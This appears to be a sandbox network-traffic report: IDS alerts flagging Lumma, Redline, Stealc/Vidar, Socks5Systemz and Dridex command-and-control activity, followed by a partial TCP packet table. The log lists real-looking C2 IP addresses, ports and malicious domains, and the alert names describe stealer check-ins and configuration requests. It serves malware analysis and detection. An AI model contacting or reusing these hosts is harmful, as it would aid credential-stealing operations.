2024-09-11T16:23:21.100967+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63426	188.114.96.3	443	TCP
2024-09-11T16:23:21.100967+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63426	188.114.96.3	443	TCP
2024-09-11T16:23:21.488383+0200	2055777	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (ignoracndwko .shop)	1	192.168.2.4	56661	1.1.1.1	53	UDP
2024-09-11T16:23:22.238724+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63427	5.75.214.132	443	TCP
2024-09-11T16:23:22.265336+0200	2055782	ET MALWARE Observed Lumma Stealer Related Domain (stitchmiscpaew .shop in TLS SNI)	1	192.168.2.4	63428	104.21.26.150	443	TCP
2024-09-11T16:23:22.802644+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63428	104.21.26.150	443	TCP
2024-09-11T16:23:22.802644+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63428	104.21.26.150	443	TCP
2024-09-11T16:23:23.697566+0200	2055776	ET MALWARE Observed Lumma Stealer Related Domain (commisionipwn .shop in TLS SNI)	1	192.168.2.4	63429	188.114.97.3	443	TCP
2024-09-11T16:23:23.830220+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:24.186225+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63429	188.114.97.3	443	TCP
2024-09-11T16:23:24.186225+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63429	188.114.97.3	443	TCP
2024-09-11T16:23:24.642220+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63430	5.75.214.132	443	TCP
2024-09-11T16:23:26.068220+0200	2857974	ETPRO MALWARE Observed DNS Query to Lumma Domain	1	192.168.2.4	49813	1.1.1.1	53	UDP
2024-09-11T16:23:26.462382+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63432	5.75.214.132	443	TCP
2024-09-11T16:23:28.604310+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63433	5.75.214.132	443	TCP
2024-09-11T16:23:28.966796+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:29.262485+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:29.441689+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:30.801444+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63434	5.75.214.132	443	TCP
2024-09-11T16:23:31.847259+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	63435	185.215.113.103	80	TCP
2024-09-11T16:23:32.301429+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:32.420482+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	63435	185.215.113.103	80	TCP
2024-09-11T16:23:32.487016+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:32.673294+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:32.708648+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.103	80	192.168.2.4	63435	TCP
2024-09-11T16:23:32.933586+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	63435	185.215.113.103	80	TCP
2024-09-11T16:23:32.973344+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.4	63376	45.91.202.63	25415	TCP
2024-09-11T16:23:33.409576+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.103	80	192.168.2.4	63435	TCP
2024-09-11T16:23:33.440797+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63436	5.75.214.132	443	TCP
2024-09-11T16:23:35.536465+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	63435	185.215.113.103	80	TCP
2024-09-11T16:23:36.216692+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63437	5.75.214.132	443	TCP
2024-09-11T16:23:37.174944+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63435	185.215.113.103	80	TCP
2024-09-11T16:23:39.865051+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	63438	37.153.95.99	443	TCP
2024-09-11T16:23:41.666524+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63439	5.75.214.132	443	TCP
2024-09-11T16:23:43.544189+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63440	5.75.214.132	443	TCP
2024-09-11T16:23:44.515746+0200	2055784	ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI)	1	192.168.2.4	63441	188.114.97.3	443	TCP
2024-09-11T16:23:45.015571+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63441	188.114.97.3	443	TCP
2024-09-11T16:23:45.015571+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63441	188.114.97.3	443	TCP
2024-09-11T16:23:46.133518+0200	2055790	ET MALWARE Observed Lumma Stealer Related Domain (preachstrwnwjw .shop in TLS SNI)	1	192.168.2.4	63442	188.114.96.3	443	TCP
2024-09-11T16:23:46.455237+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63435	185.215.113.103	80	TCP
2024-09-11T16:23:47.693118+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63442	188.114.96.3	443	TCP
2024-09-11T16:23:47.693118+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63442	188.114.96.3	443	TCP
2024-09-11T16:23:48.101645+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63435	185.215.113.103	80	TCP
2024-09-11T16:23:48.303789+0200	2055788	ET MALWARE Observed Lumma Stealer Related Domain (complainnykso .shop in TLS SNI)	1	192.168.2.4	63444	188.114.97.3	443	TCP
2024-09-11T16:23:48.758511+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63444	188.114.97.3	443	TCP
2024-09-11T16:23:48.758511+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63444	188.114.97.3	443	TCP
2024-09-11T16:23:49.116488+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63445	185.215.113.103	80	TCP
2024-09-11T16:23:49.416117+0200	2055786	ET MALWARE Observed Lumma Stealer Related Domain (basedsymsotp .shop in TLS SNI)	1	192.168.2.4	63447	172.67.221.198	443	TCP
2024-09-11T16:23:49.900370+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63447	172.67.221.198	443	TCP
2024-09-11T16:23:49.900370+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63447	172.67.221.198	443	TCP
2024-09-11T16:23:50.699744+0200	2055784	ET MALWARE Observed Lumma Stealer Related Domain (charistmatwio .shop in TLS SNI)	1	192.168.2.4	63449	188.114.97.3	443	TCP
2024-09-11T16:23:50.790264+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63445	185.215.113.103	80	TCP
2024-09-11T16:23:50.955648+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63448	185.196.8.214	80	TCP
2024-09-11T16:23:50.955648+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63448	185.196.8.214	80	TCP
2024-09-11T16:23:51.151441+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63449	188.114.97.3	443	TCP
2024-09-11T16:23:51.151441+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63449	188.114.97.3	443	TCP
2024-09-11T16:23:51.241361+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63450	5.75.214.132	443	TCP
2024-09-11T16:23:51.762352+0200	2055780	ET MALWARE Observed Lumma Stealer Related Domain (grassemenwji .shop in TLS SNI)	1	192.168.2.4	63453	188.114.96.3	443	TCP
2024-09-11T16:23:51.864479+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63452	185.215.113.103	80	TCP
2024-09-11T16:23:52.236188+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63453	188.114.96.3	443	TCP
2024-09-11T16:23:52.236188+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63453	188.114.96.3	443	TCP
2024-09-11T16:23:52.439151+0200	2055777	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (ignoracndwko .shop)	1	192.168.2.4	62217	1.1.1.1	53	UDP
2024-09-11T16:23:52.786760+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63454	5.75.214.132	443	TCP
2024-09-11T16:23:53.094768+0200	2055782	ET MALWARE Observed Lumma Stealer Related Domain (stitchmiscpaew .shop in TLS SNI)	1	192.168.2.4	63455	104.21.26.150	443	TCP
2024-09-11T16:23:53.452536+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63456	185.215.113.103	80	TCP
2024-09-11T16:23:53.581998+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63455	104.21.26.150	443	TCP
2024-09-11T16:23:53.581998+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63455	104.21.26.150	443	TCP
2024-09-11T16:23:54.052361+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63448	185.196.8.214	80	TCP
2024-09-11T16:23:54.052361+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63448	185.196.8.214	80	TCP
2024-09-11T16:23:54.187349+0200	2055776	ET MALWARE Observed Lumma Stealer Related Domain (commisionipwn .shop in TLS SNI)	1	192.168.2.4	63458	188.114.97.3	443	TCP
2024-09-11T16:23:54.362208+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63457	5.75.214.132	443	TCP
2024-09-11T16:23:54.633040+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63458	188.114.97.3	443	TCP
2024-09-11T16:23:54.633040+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63458	188.114.97.3	443	TCP
2024-09-11T16:23:55.121514+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63459	185.196.8.214	80	TCP
2024-09-11T16:23:55.121514+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63459	185.196.8.214	80	TCP
2024-09-11T16:23:56.173335+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63464	185.196.8.214	80	TCP
2024-09-11T16:23:56.173335+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63464	185.196.8.214	80	TCP
2024-09-11T16:23:56.174014+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63462	5.75.214.132	443	TCP
2024-09-11T16:23:56.506900+0200	2857974	ETPRO MALWARE Observed DNS Query to Lumma Domain	1	192.168.2.4	52556	1.1.1.1	53	UDP
2024-09-11T16:23:56.885180+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.75.214.132	443	192.168.2.4	63462	TCP
2024-09-11T16:23:57.247943+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63465	185.196.8.214	80	TCP
2024-09-11T16:23:57.247943+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63465	185.196.8.214	80	TCP
2024-09-11T16:23:57.911337+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63467	5.75.214.132	443	TCP
2024-09-11T16:23:58.255732+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63468	185.196.8.214	80	TCP
2024-09-11T16:23:58.255732+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63468	185.196.8.214	80	TCP
2024-09-11T16:23:58.599789+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.75.214.132	443	192.168.2.4	63467	TCP
2024-09-11T16:23:59.275990+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63469	185.196.8.214	80	TCP
2024-09-11T16:23:59.275990+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63469	185.196.8.214	80	TCP
2024-09-11T16:24:00.313510+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63470	185.196.8.214	80	TCP
2024-09-11T16:24:00.313510+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63470	185.196.8.214	80	TCP
2024-09-11T16:24:01.307651+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63471	185.196.8.214	80	TCP
2024-09-11T16:24:01.307651+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63471	185.196.8.214	80	TCP
2024-09-11T16:24:02.273703+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63472	185.196.8.214	80	TCP
2024-09-11T16:24:02.273703+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63472	185.196.8.214	80	TCP
2024-09-11T16:24:03.507823+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63473	185.196.8.214	80	TCP
2024-09-11T16:24:03.507823+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63473	185.196.8.214	80	TCP
2024-09-11T16:24:04.009145+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63474	5.75.214.132	443	TCP
2024-09-11T16:24:04.621569+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63475	185.196.8.214	80	TCP
2024-09-11T16:24:04.621569+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63475	185.196.8.214	80	TCP
2024-09-11T16:24:04.720744+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63476	5.75.214.132	443	TCP
2024-09-11T16:24:05.686229+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63478	185.196.8.214	80	TCP
2024-09-11T16:24:05.686229+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63478	185.196.8.214	80	TCP
2024-09-11T16:24:06.813003+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63479	185.196.8.214	80	TCP
2024-09-11T16:24:06.813003+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63479	185.196.8.214	80	TCP
2024-09-11T16:24:08.736281+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63480	185.196.8.214	80	TCP
2024-09-11T16:24:08.736281+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63480	185.196.8.214	80	TCP
2024-09-11T16:24:08.989161+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63481	5.75.214.132	443	TCP
2024-09-11T16:24:09.861517+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63482	185.196.8.214	80	TCP
2024-09-11T16:24:09.861517+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63482	185.196.8.214	80	TCP
2024-09-11T16:24:10.189753+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63483	5.75.214.132	443	TCP
2024-09-11T16:24:11.189324+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63484	185.196.8.214	80	TCP
2024-09-11T16:24:11.189324+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63484	185.196.8.214	80	TCP
2024-09-11T16:24:12.361959+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63485	185.196.8.214	80	TCP
2024-09-11T16:24:12.361959+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63485	185.196.8.214	80	TCP
2024-09-11T16:24:13.853755+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63486	185.196.8.214	80	TCP
2024-09-11T16:24:13.853755+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63486	185.196.8.214	80	TCP
2024-09-11T16:24:14.858221+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63487	185.196.8.214	80	TCP
2024-09-11T16:24:14.858221+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63487	185.196.8.214	80	TCP
2024-09-11T16:24:15.852592+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63488	185.196.8.214	80	TCP
2024-09-11T16:24:15.852592+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63488	185.196.8.214	80	TCP
2024-09-11T16:24:18.920009+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63489	185.196.8.214	80	TCP
2024-09-11T16:24:18.920009+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63489	185.196.8.214	80	TCP
2024-09-11T16:24:19.953916+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63490	185.196.8.214	80	TCP
2024-09-11T16:24:19.953916+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63490	185.196.8.214	80	TCP
2024-09-11T16:24:21.002046+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63491	185.196.8.214	80	TCP
2024-09-11T16:24:21.002046+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63491	185.196.8.214	80	TCP
2024-09-11T16:24:22.082317+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63492	185.196.8.214	80	TCP
2024-09-11T16:24:22.082317+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63492	185.196.8.214	80	TCP
2024-09-11T16:24:23.121370+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63493	185.196.8.214	80	TCP
2024-09-11T16:24:23.121370+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63493	185.196.8.214	80	TCP
2024-09-11T16:24:24.082825+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63494	185.196.8.214	80	TCP
2024-09-11T16:24:24.082825+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63494	185.196.8.214	80	TCP
2024-09-11T16:24:25.954097+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63495	185.196.8.214	80	TCP
2024-09-11T16:24:25.954097+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63495	185.196.8.214	80	TCP
2024-09-11T16:24:26.949903+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63496	185.196.8.214	80	TCP
2024-09-11T16:24:26.949903+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63496	185.196.8.214	80	TCP
2024-09-11T16:24:28.062323+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63497	185.196.8.214	80	TCP
2024-09-11T16:24:28.062323+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63497	185.196.8.214	80	TCP
2024-09-11T16:24:29.093221+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63498	185.196.8.214	80	TCP
2024-09-11T16:24:29.093221+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63498	185.196.8.214	80	TCP
2024-09-11T16:24:30.146932+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63499	185.196.8.214	80	TCP
2024-09-11T16:24:30.146932+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63499	185.196.8.214	80	TCP
2024-09-11T16:24:31.430865+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63500	185.196.8.214	80	TCP
2024-09-11T16:24:31.430865+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63500	185.196.8.214	80	TCP
2024-09-11T16:24:32.366310+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63501	185.196.8.214	80	TCP
2024-09-11T16:24:32.366310+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63501	185.196.8.214	80	TCP
2024-09-11T16:24:33.352201+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63502	185.196.8.214	80	TCP
2024-09-11T16:24:33.352201+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63502	185.196.8.214	80	TCP
2024-09-11T16:24:34.284775+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63503	185.196.8.214	80	TCP
2024-09-11T16:24:34.284775+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63503	185.196.8.214	80	TCP
2024-09-11T16:24:35.198169+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63504	185.196.8.214	80	TCP
2024-09-11T16:24:35.198169+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63504	185.196.8.214	80	TCP
2024-09-11T16:24:36.118763+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63505	185.196.8.214	80	TCP
2024-09-11T16:24:36.118763+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63505	185.196.8.214	80	TCP
2024-09-11T16:24:36.951520+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63507	185.196.8.214	80	TCP
2024-09-11T16:24:36.951520+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63507	185.196.8.214	80	TCP
2024-09-11T16:24:37.772509+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63508	185.196.8.214	80	TCP
2024-09-11T16:24:37.772509+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63508	185.196.8.214	80	TCP
2024-09-11T16:24:38.636570+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63510	185.196.8.214	80	TCP
2024-09-11T16:24:38.636570+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63510	185.196.8.214	80	TCP
2024-09-11T16:24:39.106760+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63511	5.75.214.132	443	TCP
2024-09-11T16:24:39.480486+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	63512	185.196.8.214	80	TCP
2024-09-11T16:24:39.480486+0200	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	63512	185.196.8.214	80	TCP
2024-09-11T16:24:40.401180+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63513	5.75.214.132	443	TCP
2024-09-11T16:24:41.951754+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63514	5.75.214.132	443	TCP
2024-09-11T16:24:43.367181+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63515	5.75.214.132	443	TCP
2024-09-11T16:24:44.240614+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.75.214.132	443	192.168.2.4	63515	TCP
2024-09-11T16:24:44.911693+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63516	5.75.214.132	443	TCP
2024-09-11T16:24:45.596051+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.75.214.132	443	192.168.2.4	63516	TCP
2024-09-11T16:24:46.647758+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63517	5.75.214.132	443	TCP
2024-09-11T16:24:47.644913+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	63518	5.75.214.132	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 11, 2024 16:22:07.848488092 CEST	49730	80	192.168.2.4	212.113.116.202
Sep 11, 2024 16:22:07.853475094 CEST	80	49730	212.113.116.202	192.168.2.4
Sep 11, 2024 16:22:07.853557110 CEST	49730	80	192.168.2.4	212.113.116.202
Sep 11, 2024 16:22:07.853741884 CEST	49730	80	192.168.2.4	212.113.116.202
Sep 11, 2024 16:22:07.858829975 CEST	80	49730	212.113.116.202	192.168.2.4
Sep 11, 2024 16:22:08.391174078 CEST	80	49730	212.113.116.202	192.168.2.4
Sep 11, 2024 16:22:08.391237020 CEST	49730	80	192.168.2.4	212.113.116.202
Sep 11, 2024 16:22:08.391730070 CEST	49730	80	192.168.2.4	212.113.116.202
Sep 11, 2024 16:22:08.393804073 CEST	49731	80	192.168.2.4	45.91.200.135
Sep 11, 2024 16:22:08.396604061 CEST	80	49730	212.113.116.202	192.168.2.4
Sep 11, 2024 16:22:08.398561954 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:08.398648024 CEST	49731	80	192.168.2.4	45.91.200.135
Sep 11, 2024 16:22:08.398819923 CEST	49731	80	192.168.2.4	45.91.200.135
Sep 11, 2024 16:22:08.403742075 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:09.042396069 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:09.058342934 CEST	49732	443	192.168.2.4	104.237.62.213
Sep 11, 2024 16:22:09.058387995 CEST	443	49732	104.237.62.213	192.168.2.4
